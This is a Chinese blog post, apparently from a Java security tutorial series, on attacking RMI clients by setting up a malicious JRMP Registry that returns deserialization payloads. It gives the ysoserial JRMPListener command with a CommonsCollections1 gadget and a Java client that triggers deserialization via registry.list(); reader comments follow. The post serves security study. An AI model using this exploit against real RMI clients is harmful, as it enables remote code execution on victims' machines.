在前面分析JRMP协议过程中,当Client在连接Server之前,Registry会返回给Client一些序列化数据。如果我们能够搭建恶意的Registry来模拟JRMP协议通信,返回给Client一些恶意的序列化数据,那么就可以达到攻击的效果了。

对于Client来说,有以下几种方法来与注册中心进行交互

  • bind
  • list
  • lookup
  • unbind
  • rebind

除了unbindrebind,剩下的三种方法都会返回序列化数据给Client,然后Client会反序列化这些数据。这里我们使用ysoserial工具中的JRMPListener模块进行攻击。

//搭建恶意Registry
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099  CommonsCollections1 'calc'

模拟Client进行连接

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class Client {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        registry.list();
    }
}

评论

  1. 仙贝
    Windows Chrome 100.0.4896.127
    3年前
    2022-5-02 10:15:25

    师傅tql,能否加个联系方式交流一下♂

  2. 春泥
    Macintosh Chrome 106.0.0.0
    2年前
    2022-10-12 0:17:47

    tql师傅

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇